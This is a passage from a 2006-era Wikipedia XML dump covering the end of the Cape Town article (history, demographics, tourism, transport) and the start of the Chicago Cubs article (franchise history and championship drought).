The area is famous for its unique plant life: [[fynbos]] (an [[Afrikaans]] word meaning &quot;fine bush&quot;), a shrubby, evergreen vegetation type similar to other winter rainfall shrublands, in which [[protea]]s are prominent and characteristic and which occurs nowhere else but the Cape coastal belt, the adjacent mountains and some isolated inland mountain tops. Fire is a necessary stage in the lives of almost all fynbos plants.

It is also famous for the fine wines produced locally.  

When leaving Cape Town, one first passes the suburbs, townships, and [[Cape Town International Airport]]. Further out one passes through the winelands of the Boland and the Cape Fold mountain ranges. After getting over the mountains one enters the [[Karoo]] in the north-east or the coast regions in the north and east.

==History==
The area today known as Cape Town was settled by the [[San people|San]] and [[Khoikhoi]], collectively known as the [[Khoisan]], long before the [[Dutch East India Company]] (''Vereenigde Oost-Indische Compagnie''; VOC) established a supply [[depot]] in Cape Town in 1652. By and large the indigenous people refused to deal with the [[Netherlands|Dutch]], so the VOC imported [[slavery|slaves]] from [[Madagascar]], [[India]], [[Ceylon]], [[Malaya]], and [[Indonesia]] to deal with the [[colony]]'s chronic [[labour (economics)|labour]] shortage.  Over time, with the shortage of women among the colony's settlers, settlers, slaves and the Khoisan intermarried. The offspring of these unions formed the basis of sections of today's [[Cape Coloured]] population and also helps explain the unique character of the city's [[Cape Malay]] population.

During 150  years of Dutch rule, ''Kaapstad'', as the Cape settlement became known, thrived and gained a wider reputation as the &quot;Tavern of the Seas&quot;, a riotous [[port]] used by every [[sailor]] travelling between Europe and the [[Orient]]. By the end of the 18th century, the Dutch East India Company (VOC) was nearly [[bankrupt]], making Cape Town an easy target for [[United Kingdom|British]] [[imperialism|imperialist]] interests in the region. Following the British defeat of the Dutch in 1806 at [[Bloubergstrand, Cape Town|Bloubergstrand]], 25 [[kilometre]]s north of Cape Town, the colony was ceded to the [[British monarchy]] on [[13 August]] [[1814]]. The slave trade was abolished in 1808, and all slaves were [[emancipation|emancipated]] in 1833. In [[1867]] [[District Six]] was developed and became a thriving community.

The discovery and exploitation of [[diamond]]s and [[gold]] in the [[Transvaal]] region of South Africa in the 1870s and 1880s led to rapid change. Cape Town was soon no longer the single dominant [[Metropolitan area|metropolis]] in the country, but as a major port it too was a beneficiary of the mineral wealth that laid the foundation for an [[industry|industrial]] [[society]]. The same wealth led to imperialist dreams of grandeur on the part of [[Cecil John Rhodes]], the premier of the [[Cape Colony]] in 1890, who had made his millions at the head of [[De Beers|De Beers Consolidated Mines]].

Following a plague, Africans were moved to two locations, one near the [[Dock (maritime)|dock]]s and the other at [[Ndabeni]] about 6 kilometres east of the city, an early introduction of racial segregation. This was the start of what would later develop into the townships of the [[Cape Flats]]. In 1948, the [[National Party (South Africa)|National Party]] stood for election on its policy of [[apartheid]] and won. In a series of bitter [[court]] and [[constitution]]al battles, the limited rights of [[coloured]]s to vote in the Cape were removed, and the apparatus of apartheid was erected. In 1966, the [[District Six]] area close to the city centre was declared a Whites-only area. This and many similar declarations under the [[Group Areas Act]] resulted in whole communities being uprooted and cast out to the Cape Flats.

Under Apartheid, the Cape was considered a &quot;Coloured labour preference area&quot; by the government, to the exclusion of Africans.  The government tried for decades to eradicate largely Xhosa [[squatter camp]]s, such as [[Crossroads, South Africa|Crossroads]], which were the focal point for black resistance to the apartheid regime. In the last attempt between May and June 1986, an estimated 70,000 people were driven from their homes, and many killed. Even this brutal attack was unsuccessful in eradicating the townships, and the government accepted the inevitable and began to upgrade conditions.

Hours after being released from prison on [[11 February]] [[1990]], [[Nelson Mandela]] made his first public speech in decades from the balcony of [[Cape Town City Hall|Cape Town's City Hall]], heralding the beginning of a new era for South Africa. Much has improved in Cape Town since; property prices are increasing greatly and the city centre is becoming safer, with the development of [[loft apartment|loft-style apartment]]s in grand old structures such as the [[Old Mutual Building]] and the Board of Executors building. Full integration of Cape Town's mixed population, however, remains a long way off, if it is achievable at all. Meanwhile the vast majority of Capetonians who live in the Cape Flats are still split along race lines and suffer horrendous economic, social, and health problems. Cape Town is dealing with the major problems like [[AIDS]], [[Tuberculosis]] and violent [[hard drug|drug]]-related [[crime]] in these areas, including one of the highest homicide rates in the world.

==Government==
{{main|City of Cape Town}}
Cape Town's local government is the [[City of Cape Town]], a [[metropolitan municipality (South Africa)|metropolitan municipality]]. Cape Town has a 200-member city council, who answer to a 28-member executive council. This in turn is presided over by a city manager and an executive mayor. The current [[Cape Town Mayor|mayor]] is [[Nomaindia Mfeketo]] of the [[African National Congress|ANC]], the city's first black female mayor, and the current city manager is [[Wallace Mgoqi]]. An election is scheduled for [[1 March]] [[2006]].

==Demographics==
[[Image:ZA Cape Town language.gif|thumb|right|300px|Geographical distribution of home languages in Cape Town.]]
:''See also'' [[List of Cape Town suburbs]]

As of the [[census]] of 2001, there are 2,893,251 people and 759,767 households residing in the city. The [[population density]] is 1,158/km². The household density is 304/km². The racial makeup of the city is 31.68% [[Blacks|Black African]], 48.13% [[Coloured]], 1.43% [[India|Indian]]/[[Asia|Asian]], and 18.75% [[Whites|White]].

16.1% of all households are made up of individuals. The average household size is 3.81.

In the city the population is spread out with 26.6% under the age of 15, 20.0% from 15 to 24, 33.4% from 25 to 44, 15.0% from 45 to 64, and 5.0% who are 65 years of age or older. The median age is 26 years. For every 100 females there are 92.4 males. For every 100 females age 18 and over, there are 89.3 males.

In the city 41.4% of residents speak [[Afrikaans]] at home, 27.9% speak [[English language|English]], 0.0% speak [[Ndebele language|Ndebele]], 28.7% speak [[Xhosa language|Xhosa]], 0.3% speak [[Zulu language|Zulu]], 0.0% speak [[Sepedi]], 0.7% speak [[Sesotho]], 0.1% speak [[Setswana]], 0.0% speak [[SiSwati]], 0.0% speak [[Tshivenda]], and 0.0% speak [[Xitsonga]].  0.7% of the population speaks a non-official language at home.

76.6% of residents are [[Christianity|Christian]], 10.7% have [[Atheism|no religion]], 9.7% are [[Islam|Muslim]], 0.5% are [[Judaism|Jewish]], and 0.2% are [[Hinduism|Hindu]]. 2.3% have other or undetermined beliefs.

4.2% of residents aged 20 and over have received no schooling, 11.8% have had some [[primary school]], 7.1% have completed only primary school, 38.9% have had some [[high school]] education, 25.4% have finished only high school, and 12.6% have an education higher than the high school level.  Overall, 38.0% of residents have completed high school.

68.6% of housing units have a [[telephone]] and/or [[cell-phone]] in the dwelling, 29.5% have access to a phone nearby, and 1.9% have access that is not nearby or no access.  87.4% of households have a flush or chemical [[toilet]].  94.4% have [[refuse]] removed by the municipality at least once a week and 1.4% have no rubbish disposal.  69.3% have running water inside their dwelling, 84.4% have running water on their property, and 98.7% have access to running water.  80.1% of households use [[electricity]] for cooking, 75.0% for heating, and 88.8% for lighting. 80.7% of households have a [[radio]], 77.0% have a [[television]], 21.3% own a [[computer]], 76.4% have a [[refrigerator]], and 45.5% have a [[cell-phone]].

19.4% of the population aged 15-65 is unemployed. Of the unemployed persons, 58.3% are Black African, 38.1% are Coloured, 0.5% are Indian/Asian, and 3.1% are White. 34.8% of Black Africans are unemployed, 15.8% of Coloureds, 7.1% of Indians/Asians, and 3.1% of Whites.

The median annual income of working adults aged 15-65 is R 25,774 ($3,874). Males have a median annual income of R 28,406 ($4,270) versus R 22,265 ($3,347) for females. The median annual income by race is R 13,471 ($2,025) for Black Africans, R 23,012 ($3,459) for Coloureds, R 44,233 ($6,648) for Indians/Asians, and R 70,380 ($10,579) for Whites. The annual income distribution in Cape Town is:

* No income 2.0%
* R 12 &amp;#8211; R 4,800 ($2 - $721) 4.4%
* R 4,812 &amp;#8211; R 9,600 ($723 - $1,443) 10.0%
* R 9,612 &amp;#8211; R 19,200 ($1,445 &amp;#8211; $2,886) 25.7%
* R 19,212 &amp;#8211; R 38,400 ($2,888 - $5,772) 23.1%
* R 38,412 &amp;#8211; R 76,800 ($5,774 - $11,543) 18.1%
* R 76,812 &amp;#8211; R 153,600 ($11,545 - $23,087)  10.1%
* R 153,612 &amp;#8211; R 307,200 ($23,089 - $46,174) 4.4%
* R 307,212 &amp;#8211; R 614,400 ($46,176 - $92,348) 1.4%
* R 614,412 or more ($92,350+)  0.8%

[http://www.statssa.gov.za/census01/Census/Database/Census%202001/Census%202001.asp Statistics South Africa Census 2001]

==Tourism==
[[Image:Cape Town Waterfront.jpg|thumb|right|300px|The V&amp;A Waterfront in Cape Town, backed by [[Table Mountain]] with characteristic tablecloth.]]
Cape Town is a popular tourist destination, offering the visitor a wide variety of activities such as water sports (including diving, surfing, kite-surfing and sailing), angling, [[wine tasting]], shopping, scenic drives, mountaineering, hiking, mountain-biking, kite-flying, hang-gliding and parasailing, boat trips, and bird- and whale-watching. 

===When to visit===
The most popular time for visitors is the summer from October to March, though some visitors from more temperate climates might find the height of summer (December and January) uncomfortably hot. The city also becomes very crowded then as the local holidaymakers descend on the city for their summer school holidays. 

===Main attractions===
Some of the most popular tourist attractions are:  
* The [[Victoria &amp; Alfred Waterfront]], a popular shopping venue with hundreds of shops, fine hotels, a world-class marina and an [[aquarium]]
* [[Table Mountain]], which can be accessed either by walking or [[Table Mountain Cableway|cable car]]
* [[Cape Point]]
* [[Robben Island]]
* [[Kirstenbosch|Kirstenbosch botanical gardens]] 
* [[Signal Hill (Cape Town)|Signal Hill]] with the [[Noon gun]]
* [[Chapman's Peak|Chapman's Peak Drive]]
* The [[Cape Wine Route]]
* The [[Beaches of Cape Town|Beaches]]

[[Image:Cape Town and Robben Island seen from Table Mountain.jpg|thumb|left|300px|The central area of Cape Town as seen from [[Table Mountain]].]] The [[Table Mountain Cableway]] takes visitors to the top of [[Table Mountain]], though it can be closed in gale-force winds. The operating status (open or closed) of the cable car is posted on a signboard at Kloof Nek.

The Cape Peninsula and the region around Cape Town offer wonderful walking and hiking opportunities. [[Table Mountain]], [[Lion's Head (Cape Town)|Lion's Head]] and [[Devil's Peak (Cape Town)|Devil's Peak]]) can be accessed very easily from right in the middle of the city, and the surrounding mountain ranges offer further opportunities.

The [[Kirstenbosch|Kirstenbosch botanical gardens]] are one of the city's most popular attractions, with a stunning setting and a world-class botanical collection. Kirstenbosch also hosts a popular series of outdoor concerts on Sunday evenings during summer.

Boat trips can be undertaken from the [[Victoria &amp; Alfred Waterfront]] to visit [[Robben Island]]. Other boat trips can be undertaken from [[Simon's Town]] (the main South African naval base) on the [[False Bay]] coast to Seal Island and [[Cape Point]] and from [[Hout Bay]], a fishing harbour on the Atlantic coast of the Cape Peninsula, to Duiker Island which has a population of 6000 seals in breeding season dropping to 1500 seals in the off season. Cruises around the [[Cape of Good Hope|Cape Point]] are also popular among tourists.

Cape Town is famous for its beaches. Blouberg beach has the classic view of Table Mountain and is a world class spot for windsurfing and kitesurfing, mainly in the summer seasons (September to February).  Other popular beaches include [[Camps Bay]] and [[Clifton, Cape Town|Clifton]], home to the rich and famous, and [[Boulders Beach]], home to a colony of penguins.

The annual [[Coon Carnival|Cape Town Minstrel Carnival]] or '''Kaapse Klopse''' is a minstrel festival held annually on [[2 January]] or 'Tweede Nuwe Jaar'. Competing teams of minstrels parade in brightly coloured costumes, either carrying colourful umbrellas or playing an array of musical instruments.

===Highlights nearby===
[[Stellenbosch]] and [[Franschhoek]] are popular historic towns within a few hours' drive of Cape Town.

[[Whale Watching]] is popular, with one of the world's largest population of [[Southern Right Whale]]s found off the coast of the Cape Peninsula and the surrounding areas of the [[Western Cape]] during the breeding season (August to November). Many local observation points allow sightings from close by. [[Hermanus]] is the most famous and whales often come within 100yds of the shore there but they can be seen in False Bay, as can [[Bryde's Whale]], which occur all year. [[Heaviside's Dolphin]] is endemic to the area and can be seen from the coast north of Cape Town, especially from [[Lambert's Bay]] where boat trips run to view them. [[Dusky Dolphin]] can be seen along the same stretch of coast but is more active with a swept back dorsal fin which is distinctly two-toned. This species may be seen from the ferry to Robben Island.

The [[Cape Wine Route]] includes informative tours to local [[Winery|wineries]] such as the town of [[Barrydale]] which offers [[wine tasting]] and sells specialist [[brandy]]. 

August and September are the best time to visit the [[Namaqualand]] region on the west coast of South Africa, because the desert comes to life after the winter rains and the wild flowers bloom in profusion.

==Sports teams and stadiums==
Three main team sports are played in the city: [[rugby union|rugby]], [[cricket]] and [[football]]. 

Cape Town boasts two [[soccer]] teams in the Premier League, [[Santos Football Club|Santos]] (based in [[Athlone, Cape Town|Athlone]]) and [[Ajax Cape Town]] (based in Parow).

The Cape Town suburb of Newlands is the home of the [[Western Province Rugby Union|Western Province]] rugby team, one of the powerhouses in South African [[rugby union|rugby]]. The current team captain is [[Schalk Burger]]. Newlands is also the base for the [[Stormers (rugby club)|Stormers]] team, which plays in the [[Super 14]].

The [[Cape Cobras]] cricket team is based at the [[Newlands Cricket Ground]]. It is the amalgamation of the [[Western Province Cricket]] and [[Boland Cricket]] teams.

The clement weather of the region allows open air sports all year round. Apart from team sports, golf and tennis are very popular and facilities for these exist all over the city. Conditions for scuba diving, surfing and both kite and board sailing are world class and attract many foreign tourists.

Apart from the existing Newlands Rugby Stadium which seats 50,900 and the Newlands Cricket Stadium with a capacity of 25,000, there is the Athlone Stadium which is set to undergo an upgrade as a training venue for the 2010 FIFA World Cup. A completely new facility to seat 70,000 spectators is planned for the Green Point Track on the outskirts of the CBD. The stadium will receive a retractable roof which will open and close depending on the weather. The estimated cost of the stadium is R1.2 billion. The area around the stadium is set to undergo a transformation into a park area, similar to that of Hyde Park in London and Central Park in New York City.

==Transport==
===To/from Cape Town===
Cape Town is the meeting point of three South African national roads: the [[N1 (South Africa)|N1]] to [[Johannesburg]] and [[Pretoria]] and ultimately the [[Zimbabwe]]an border, the [[N2 (South Africa)|N2]] to [[Durban]] and the [[N7 (South Africa)|N7]] to [[Namibia]]. All these highways are [[motorway]] standard within the built-up area.

[[Shosholoza Meyl]] operates daily trains to and from [[Pretoria]] via [[Kimberley, South Africa|Kimberley]] and [[Johannesburg]], and weekly trains to and from [[Durban]] via [[Kimberley, South Africa|Kimberley]], [[Bloemfontein]] and [[Pietermaritzburg]]. These trains terminate at Cape Town Railway Station, and also stop at [[Bellville, South Africa|Bellville]].

The city has a large port located in [[Table Bay]] directly to the north of the city centre and is a hub of the shipping routes in the Southern Hemisphere. Cape Town is South Africa's second port after Durban; in 2004 it handled 3161 ships and 9.2 million tonnes of cargo.

[[Cape Town International Airport]] is the second biggest airport in South Africa and a major gateway for travellers to the Cape region. It offers a number of international flights to destinations in [[Africa]], [[Europe]], [[Asia]] and [[North America]]. Nearly all commercial airports in [[South Africa]] are served from here.

===Within Cape Town===
In addition to the national roads listed above (which are also used for local traffic) the city is served by the [[M3 (Cape Town)|M3]], [[M5 (Cape Town)|M5]], [[M7 (Cape Town)|M7]] and [[R300 (Western Cape)|R300]] [[freeway]]s. There is also an extensive network of [[dual carriageway]]s and main roads.

[[Metrorail (South Africa)|Metrorail]] operates a large suburban rail network consisting of 96 stations. [[Golden Arrow Bus Services]] operates a network of bus routes, and [[minibus taxi]]s operate throughout the metropolitan area.

==Further education in Cape Town==
Cape Town boasts three universities and various colleges. 

Both the [[University of Cape Town]] and the [[University of the Western Cape]] are located within the Cape Town metropole, while [[Stellenbosch University]] is within a 50 [[kilometer|km]] reach.

There is also the [[Cape Peninsula University of Technology]], formed after the merging of the Cape Technikon and the Peninsula Technikon, which deals with [[National Diploma]]s.

==External links==
{{Commons|Cape Town|Cape Town}}
* [http://www.capetown.gov.za/ Official Website]
* [http://monolith.com.au/capetown/ Brief Historical Overview and Travel Account] by Roderick Eime
* {{Wikitravel}}

{{Western Cape Province}}
{{South Africa Provincial Capitals}}

[[Category:Cape Town| ]]
[[Category:Metropolitan Municipalities of South Africa|City of Cape Town]]

[[af:Kaapstad]]
[[bg:Кейптаун]]
[[ca:Ciutat del Cap]]
[[da:Kapstaden]]
[[de:Kapstadt]]
[[eo:Kaburbo]]
[[es:Ciudad del Cabo]]
[[fi:Kapkaupunki]]
[[fr:Le Cap]]
[[gl:Cidade do Cabo - Cape Town]]
[[he:קייפטאון]]
[[hu:Fokváros]]
[[id:Cape Town]]
[[it:Città del Capo]]
[[ja:ケープタウン]]
[[ko:케이프타운]]
[[lb:Kapstad]]
[[lt:Keiptaunas]]
[[nl:Kaapstad]]
[[nn:Cape Town]]
[[no:Cape Town]]
[[pl:Kapsztad]]
[[pt:Cidade do Cabo]]
[[sl:Cape Town]]
[[sv:Kapstaden]]</text>
    </revision>
  </page>
  <page>
    <title>Chicago Cubs</title>
    <id>6654</id>
    <revision>
      <id>42093602</id>
      <timestamp>2006-03-03T20:03:16Z</timestamp>
      <contributor>
        <username>MisfitToys</username>
        <id>58947</id>
      </contributor>
      <minor />
      <comment>some coypedit, needs MUCH more</comment>
      <text xml:space="preserve">{{MLB infobox Cubs}}
The '''Chicago Cubs''' are a [[major league baseball]] team based in [[Chicago, Illinois]].  They are in the [[National League Central|Central Division]] of the [[National League]].

==Franchise history==
===White Stockings===
The success and fame of the [[Cincinnati Reds|Cincinnati Red Stockings]] of [[1869]], baseball's first openly professional team, led to a minor explosion of openly professional teams in [[1870]], each with the singular goal of defeating the Red Stockings.  A number of them adopted variants on the name and colors, and it happens that the Chicagos adopted white as their primary color. After a summer of individually arranged contests among the various teams, the time was right for the organization of the first professional league, the [[National Association]], in [[1871]].

The Chicago White Stockings were close contenders all summer, but disaster struck on [[October 8]] when a fire began in Mrs. O'Leary's barn on DeKoven Street on the near south side of the city.  The [[Great Chicago Fire]] destroyed the club's ballpark, uniforms and other possessions.  The club completed its schedule with borrowed uniforms, finishing second in the N.A. just 2 games behind, but was compelled to drop out of the league during the city's recovery period, finally being revived in [[1874]].

After the [[1875]] season, Chicago acquired several key players, including pitcher [[Albert Spalding|Al Spalding]] of the [[Atlanta Braves|Boston Red Stockings]], and first baseman [[Cap Anson]] of the [[Philadelphia Athletics]].  While this was going on, behind the scenes the club President, [[William Hulbert]], was leading the formation of a new and stronger organization, the [[National League]].

With a beefed-up squad, the White Stockings cruised through the N.L.'s inaugural season of [[1876]]. The Chicagoans went on to have some great seasons in the 1880s, starting with [[1880]] when they won 67 and lost 17, for an all-time record .798 winning percentage.  Extrapolating an 84-game season onto a 162-game season is a dubious proposition, but it does provide some perspective to note that a similar winning percentage nowadays would yield 129 wins.

By then, Spalding had retired to start his sporting goods company.  The length of the season was such that a team could get by with two main starters, and the team had a couple of powerhouse pitchers in [[Larry Corcoran]] and [[Fred Goldsmith]].  Those two were fading by mid-decade, and were replaced by other strong pitchers, notably [[John Clarkson]]. Much has been written about [[Old Hoss Radbourn]]'s 60 victories for the [[Providence Grays]] of [[1884]], but Clarkson also had a fair year in [[1885]], winning 53 games as the Chicagos won the pennant.

A second major league called the [[American Association (19th century)|American Association]] came along in [[1882]], and the Chicagos met the AA's champions three times in that era's version of the [[World Series]].  Twice they faced the [[St. Louis Cardinals|St. Louis Browns]] in lively and controversial Series action.  That St. Louis franchise, which went on to join the National League in 1892 after the A.A. folded, would later be renamed the [[St. Louis Cardinals]] and continues to be a perennial rival of the Cubs.

Throughout all of this, and for the better part of twenty seasons, the team was captained and managed by first baseman [[Cap Anson|Adrian &quot;Cap&quot; Anson]]. Cap Anson was one of the most famous and arguably the best player in baseball in his day. He was the first ballplayer to reach 3,000 hits. However, the [[Baseball Hall of Fame|Hall of Famer]] is chiefly remembered today for his extreme racist views (which he stated in print, in his autobiography, lest there be any doubt) and thus his prominent role in establishing baseball's color line, rather than for his great playing and managing skills.

After the Chicagoans' great run during the 1880s, the on-field fortunes of Anson's Colts dwindled during the 1890s, awaiting revival under new leadership.

The Cubs are the only team to play continuously in the same city since the formation of the [[National League]] in [[1876]].

===&quot;Tinker to Evers to Chance&quot;===
[[Joe Tinker]] (SS), [[Johnny Evers]] (2B) and [[Frank Chance]] (1B) were three legendary Cubs infielders, who played together from [[1903]]-[[1910]], and sporadically over the following two years.  They, along with third baseman [[Harry Steinfeldt]], formed the nucleus of one of the most dominant baseball teams of all time.  After Chance took over as manager for the ailing Frank Selee in [[1905]], the Cubs won four pennants and two World Series titles over a five-year span.  Their record of 116 victories in [[1906]] (in a 154-game season) has not been broken, though it was tied by the [[Seattle Mariners]] in [[2001]], in a 162-game season. As with 1880, extrapolating is statistically questionable, but the Cubs' 116-36 percentage of 1906 equates to 123 wins in 162 games. Curiously, both of those teams were so far in front that they seemingly lost their edge, and fell in the post-season.

The Cubs again relied on dominant pitching during this period, featuring hurlers such as [[Mordecai Brown|Mordecai &quot;Three-Finger&quot; Brown]], [[Jack Taylor]], [[Ed Reulbach]], [[Jack Pfiester]] and [[Orval Overall]], who posted a record for lowest staff [[earned run average]] that still stands today.  Reulbach threw a one-hitter in the [[1906]] [[World Series]], one of a small handful of twirlers to pitch low-hit games in the post-season (another was Claude Passeau of the Cubs' [[1945]] squad).  Brown acquired his unique and indelicate nickname from having lost most of his index finger in farm machinery when he was a youngster.  This gave him the ability to put a natural extra spin on his pitches, which often frustrated opposing batters.

However, the infield also attained fame, after turning a critical double play against the [[New York Giants]] in a July 1910 game.  The trio was immortalized in [[Franklin P. Adams]]' poem ''Baseball's Sad [[Lexicon]]'', which first appeared in the [[July 18]], [[1910]] edition of the ''[[New York Evening Mail]]'':

:These are the saddest of possible words: 
:&quot;Tinker to Evers to Chance.&quot; 
:Trio of bear cubs, and fleeter than birds, 
:Tinker and Evers and Chance. 
:Ruthlessly pricking our [[gonfalon]] bubble,
:Making a Giant hit into a double-- 
:Words that are heavy with nothing but trouble: 
:&quot;Tinker to Evers to Chance.&quot;

The fourth line is sometimes misquoted as also reading &quot;Tinker to Evers to Chance&quot;.  Also, in the still-in-modern-usage expression &quot;Tinker to Evers to Chance&quot;, meaning a well-oiled routine or a &quot;sure thing&quot;, people tend to pronounce it &quot;EH-verz&quot;, when the proper pronunciation was &quot;EE-verz&quot;.

Tinker and Evers reportedly could not stand each other, and rarely spoke off the field.  Evers, a high-strung, argumentative man, suffered a nervous breakdown in [[1911]] and rarely played that year.  Chance suffered a near-fatal beaning the same year.  The trio played together little after that.  In [[1913]], Chance went to manage the [[New York Yankees]] and Tinker went to [[Cincinnati, Ohio|Cincinnati]] to manage the [[Cincinnati Reds|Reds]], and that was the end of one of the most notable infields in baseball.  They were inducted into the [[Baseball Hall of Fame]] together in [[1946]]. Tinker and Evers reportedly became amicable in their old age, with the baseball wars far behind them.

===Every three years===
The Cubs fell into a lengthy doldrum after their early 1900s Glory Years, broken only by their pennant in the [[World War I|war]]-shortened season of [[1918]]. Around that time, chewing-gum tycoon [[William Wrigley]] obtained majority ownership of the Cubs, and things started to turn around, especially after they acquired the services of astute baseball man [[William Veeck]].

With Wrigley's money and Veeck's savvy, the Cubs were soon back in business in the National League, the front office having built a team that would be strong contenders for the next  decade.  During that stretch, they achieved the unusual accomplishment of winning a pennant every three years - 1929, 1932, 1935 and 1938 - sometimes in thrilling fashion, such as 1935 when they won a record 21 games in a row in September, and 1938 when they won a crucial late-season game with a walk-off &quot;Homer in the Gloamin'&quot; by [[Gabby Hartnett]].

Unfortunately, their success did not extend to the post-season, as they fell to their [[American League]] rivals each time, often in humilating fashion. By the late 1930s, the double-Bills (Wrigley and Veeck), were both dead. As the decade wound down, the front office under [[P.K. Wrigley]] was unable to rekindle the kind of success that P.K.'s father had created, and the Cubs slipped into mediocrity. They enjoyed one more pennant, at the close of another [[World War II|wartime]] year, [[1945]], lost the World Series, and have not been back since then, at least through the [[2005]] season.

===Day games at Wrigley===
[[Image:Wrigley_Field.jpg|center|585px]]

The Cubs' home ballpark, [[Wrigley Field]], played host to only day games until [[1988]] because the stadium owner donated the lights to the [[World War II|war]] effort in the [[1940s]], and it then became tradition. The first night game was scheduled to be played [[August 8]], [[1988]], versus [[Philadelphia Phillies|Philadelphia]], but it was rained out after 3 1/2 innings.  The high point of that contest, beyond the cry of &quot;Let there be lights&quot;, was when famous top-heavy entertainer [[Morganna Roberts]], &quot;The Kissing Bandit&quot;, ran onto the field and attempted to plant one on [[Ryne Sandberg]]. She was thwarted by Chicago's Finest, but Sandberg hit the next pitch out of the park to thunderous approval. Unfortunately, the rainout nullified his home run.  The first official night game thus occurred the following evening, [[August 9]], [[1988]]; the Cubs defeated the [[New York Mets]], 6-4.  While night games are now possible at [[Wrigley Field|Wrigley]], the Cubs still play more day games at home than any other Major League team.

===Championship dry spell===
The Cubs have the longest dry spell between championships in all of the four major U.S. sports leagues ([[Major League Baseball|MLB]], [[National Football League|NFL]], [[National Hockey League|NHL]], [[National Basketball Association|NBA]]), having failed to win a [[World Series]] since [[1908]]. To make matters worse, the Cubs haven't even been in a World Series since [[1945]], and finished in the [[second division (baseball)|second division]], or bottom half, of the National League for 20 consecutive years beginning in [[1947]]. Their 2003 [[National League Division Series|NLDS]] victory over the Atlanta Braves was the team's first postseason series win since [[1908]]. 
[[Image:Chicago_cubs_celebrate_2004.jpg|thumb|300px|[[Derrek Lee]], [[Aramis Ramírez|Aramis Ramirez]] and [[Moisés Alou|Moises Alou]] celebrate a Lee [[home run]]]]
In 1969, The Cubs had a 8-game lead in August led by Hall Of Famers [[Ernie Banks]], [[Ferguson Jenkins]] and [[Billy Williams (baseball player)|Billy Williams]], but they wilted under pressure, lost key games against the surprising New York Mets, and floundered a shot at the postseason by 8 games (92-70). Many superstitious fans attribute this collapse to an incident at Shea Stadium when a fan released a black cat onto the field, thereby cursing the club. In [[1984]], the Cubs won the first two games of the then-best of 5 [[National League Championship Series]] at Wrigley Field against the [[San Diego Padres]] (it should be noted that at the time, the team with home field advantage played the first two games on the road), only to lose the final three games in [[San Diego]]. The Cubs' 2003 playoff run ended in an emotional game 7 of the [[National League Championship Series|NLCS]] against the [[Florida Marlins]]. While at one point ahead in the 7-game series 3 games to 1, the Marlins came back to win the final three games. Marlins pitcher [[Josh Beckett]] shut out the Cubs in game 5. An implosion of the Cubs defense late in game 6, following the now-infamous incident in which a [[Steve Bartman|fan]] attempted to catch a ball in foul territory, allowed the Marlins to score 8 runs in the eighth inning (see [[The Inning]]) and tie the series. The Cubs were unable to win the final game at home, and were without a pennant again.

To historians of the game, this incident echoed another Cubs disaster, Game 4 of the [[1929 World Series]], in which the Cubs yielded 10 runs to the [[Oakland Athletics|Philadelphia Athletics]] in the seventh inning. A key play in that inning was centerfielder [[Hack Wilson]] losing a fly ball in the sun, resulting in a 3-run inside-the-park [[home run]].

In 2004, misfortune struck the Cubs again. Having the Wild Card lead by a game and a half on September 24, the Cubs proceeded to drop 7 of their last 9 games, and relinquished the Wild Card to the then-red hot Houston Astros. This time, the fallout was decidedly unlovable, as the Cubs traded superstar [[Sammy Sosa]] in the off-season, after he had left the final game early and then attempted to lie about it publicly. Sosa was a controversial figure, and his place in Chicago Cubs lore was possibly tarnished.  

Inconsistency struck the Cubs for their 2005 season, as the team finished under .500 for the first time since 2002 with a 79-83 record and fourth place in the NL Central. Again, the Cubs were hit by injury to pitchers Mark Prior and Kerry Wood, and shortstop Nomar Garciaparra suffered a groin injury in late April, which kept him out for three months. Despite the bleak ending for the injury-plagued Cubs, the team witnessed a career year from first baseman Derrek Lee (.335 batting average, 46 home runs, 107 RBIs) and the rise of closer Ryan Dempster (33 saves in 35 save opportunities).

The long history of the Cubs is a [[dichotomy]]. For their first 80 years, prior to and including [[1945]], the Cubs were generally assumed to be contenders, playing well and winning the occasional pennant. For much of the 60 year span since then, it was as if the baseball gods had forsaken the Cubs, granting them just an occasional glimmer of hope. It did not take astute observers long to realize that something bad had happened to this once-proud franchise... 

In his [[1950]] book ''The World Series and Highlights of Baseball'', LaMont Buchanan wrote the following prose next to photos of Wrigley during the [[1945 World Series]] and of their newly-hired manager: &quot;From the sublime to last place! Wrigley Field, the ivy of its walls still whispering of past greatness, watches its Cubs grow less ferocious in '47, '48, '49. New doctor of the cure is smiling Frank Frisch, veteran of previous baseball transfusions who thinks, 'It's nice to have the fans with you.' Chicago has a great baseball tradition. The fans remember glorious yesterdays as they wait for brighter tomorrows. And eventually their Cubs will bite again.&quot; Little did anyone realize how long &quot;eventually&quot; might turn out to be.

What may be the least known, but possibly the most telling, statistic of futility for the Cubs, though, is that their first back-to-back winning seasons since 1973 came in 2003 and 2004.  Nonetheless, they remain one of the best-loved and best-attended teams in the league, with attendance figures consistently in the top 10, despite the 3rd smallest stadium in Major League Baseball. 

As with the [[Boston Red Sox]] (prior to their astonishing [[2004]] post-season triumph), the Cubs of recent generations have seemed to be a team that &quot;bad things happen to.&quot; Although there is a tendency to compare the Cubs and the Red Sox, there is a stark difference. Since [[World War II]], the Red Sox have been frequent contenders and frequent visitors to the post-season, including five trips to the [[World Series]]. They have had more of a reputation as &quot;chokers&quot; than as &quot;losers&quot;, the tag that the Cubs bear.

Despite their image as &quot;Lovable Losers&quot; during the post-WWII era, the club's longevity combined with their earlier successes add up to a major league record 9,756 victories (for a franchise in a single city) through the [[2004]] season.  In other years the Cubs have shown they ''can'' win, or at least ''contend'', when their pitching is superior. Outstanding pitching has been a major difference in every one of their winning seasons since WWII. But although there is no substitute for front-office savvy and on-the-field excellence, the venerable ballpark itself has to be considered a factor in the teams' failures to go farther than they have. When the bleachers were extended into left field in [[1937]], it shortened the true power alley from a posted distance of 372 feet to about 350 feet, which is too short for major league standards, especially for a left field. Most batters are right-handed, so their natural power alley is left-center. Thus most asymmetric ballparks have their short field in right. Not so with Wrigley. This allows more left-center field [[home run]]s than the average ballpark would. [[Ferguson Jenkins]], upon being traded to the [[Texas Rangers (baseball)|Texas Rangers]] after a successful though home-run prone career with the Cubs, bitterly complained that &quot;Wrigley Field is a ''bad'' ballpark!&quot; After posting a below-.500 record for the first time since 2002, the Cubs are looking to retool for the 2006 campaign. Since the Cubs' last pennant in 1945, every other major league franchise that was playing at that time has won the World Series (as the Red Sox and the White Sox both won the title in 2004 and 2005, respectively).  It remains to be seen what, if any, effect this will have on the club's management.

